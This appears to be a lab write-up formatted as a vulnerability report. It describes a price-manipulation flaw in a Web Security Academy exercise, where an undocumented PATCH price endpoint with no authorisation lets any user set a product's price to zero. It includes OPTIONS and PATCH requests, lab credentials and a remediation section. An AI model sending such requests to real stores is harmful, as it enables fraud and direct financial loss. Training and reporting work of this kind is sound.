

Title of Issue

API Security Misconfiguration — Price Manipulation via Undocumented PATCH Endpoint

Description

The application exposes an undocumented API endpoint that accepts `PATCH` requests to modify product data, including price. While the endpoint is not linked from the UI or included in official documentation, it can be discovered by examining client-side JavaScript, observing HTTP traffic during normal browsing, or issuing `OPTIONS` requests to known API paths. Once discovered, the endpoint lacks proper authorisation or input validation, allowing any authenticated user to set a product's price to an arbitrary value — including zero.

Affected Endpoint: `PATCH /api/products/{productId}/price` **Missing Controls:** Authorisation check, server-side price validation

Steps to Exploit

1. Log in as `wiener:peter` .
2. Browse to the shop and view a product detail page — observe network requests in browser developer tools.
3. Identify API calls to `/api/products/{productId}` returning product data including price.
4. Issue an `OPTIONS` request to determine supported HTTP methods:

```
OPTIONS /api/products/1/price HTTP/1.1
Host: <lab-id>.web-security-academy.net
```

Response includes: `Allow: GET, PATCH`

5. Send a `PATCH` request to update the product price to `0` :

```
PATCH /api/products/1/price HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/json

{"price": 0}
```

6. Confirm the price change by visiting the product page.
 7. Add the product to cart and complete checkout at price `$0.00` .
-

Proof of Concept

Step 1 — Discover supported methods:

```
OPTIONS /api/products/1/price HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
```

Response:

```
HTTP/1.1 200 OK
Allow: GET, PATCH
```

Step 2 — Modify product price:

```
PATCH /api/products/1/price HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/json

{"price": 0}
```

Response:

```
HTTP/1.1 200 OK

{
  "id": 1,
  "name": "Lightweight l33t leather jacket",
  "price": 0
}
```

Step 3 — Purchase at modified price: The product is now listed at **\$0.00** . Adding it to the cart and checking out completes the purchase with the attacker's store credit — purchasing an item worth \$1337.00 for free.

Impact

- Arbitrary product price manipulation enabling purchase of any item at attacker-chosen price (including zero).
- Direct financial loss to the business.
- Undocumented "hidden" endpoints are not inherently protected — all API endpoints must have authorisation controls.
- Can be chained to purchase unlimited inventory at zero cost.

Mitigation / Remediation

1. **Implement authorisation on all API endpoints** — only admin or inventory management roles should be permitted to modify product prices.
 2. **Do not rely on endpoint obscurity** — all API endpoints must be protected regardless of whether they are documented.
 3. **Validate all input server-side** — enforce business logic constraints (e.g., price must be positive and above a minimum threshold) server-side.
 4. **Conduct API discovery audits** — regularly enumerate all exposed endpoints and verify they have appropriate access controls.
 5. **Implement API rate limiting and logging** to detect and alert on unusual price modification patterns.
-

CVSS Score

CVSS v3.1 Score: 8.1 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP
Attack Complexity	Low	Endpoint discoverable via OPTIONS; simple PATCH request
Privileges Required	Low	Requires authenticated session (any user)
User Interaction	None	No victim interaction required
Scope	Unchanged	Impact within the application
Confidentiality Impact	None	No data exfiltrated
Integrity Impact	High	Product pricing data arbitrarily modified
Availability Impact	None	No service disruption